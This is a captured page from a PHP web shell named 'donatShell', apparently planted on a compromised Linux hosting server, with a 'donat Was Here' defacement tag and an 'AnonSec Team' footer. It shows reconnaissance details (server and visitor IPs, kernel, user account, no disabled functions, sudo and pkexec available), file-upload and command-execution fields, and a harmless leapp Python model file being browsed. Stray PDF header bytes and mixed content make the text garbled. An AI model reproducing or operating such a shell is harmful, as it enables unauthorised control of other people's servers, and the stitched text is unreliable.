%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/models/dynamiclinker.py
from leapp.models import fields, Model
from leapp.topics import SystemFactsTopic


class LDConfigFile(Model):
    """
    Represents a config file related to dynamic linker configuration
    """
    topic = SystemFactsTopic

    path = fields.String()
    """ Absolute path to the configuration file """

    modified = fields.Boolean()
    """ If True the file is considered custom and will trigger a report """


class MainLDConfigFile(LDConfigFile):
    """
    Represents the main configuration file of the dynamic linker /etc/ld.so.conf
    """
    topic = SystemFactsTopic

    modified_lines = fields.List(fields.String(), default=[])
    """ Lines that are considered custom, generally those that are not includes of other configs """


class DynamicLinkerConfiguration(Model):
    """
    Facts about configuration of dynamic linker
    """
    topic = SystemFactsTopic

    main_config = fields.Model(MainLDConfigFile)
    """ The main configuration file of dynamic linker (/etc/ld.so.conf) """

    included_configs = fields.List(fields.Model(LDConfigFile))
    """ All the configs that are included by the main configuration file """

    used_variables = fields.List(fields.String(), default=[])
    """ Environment variables that are currently used to modify dynamic linker configuration """

Anon7 - 2022
AnonSec Team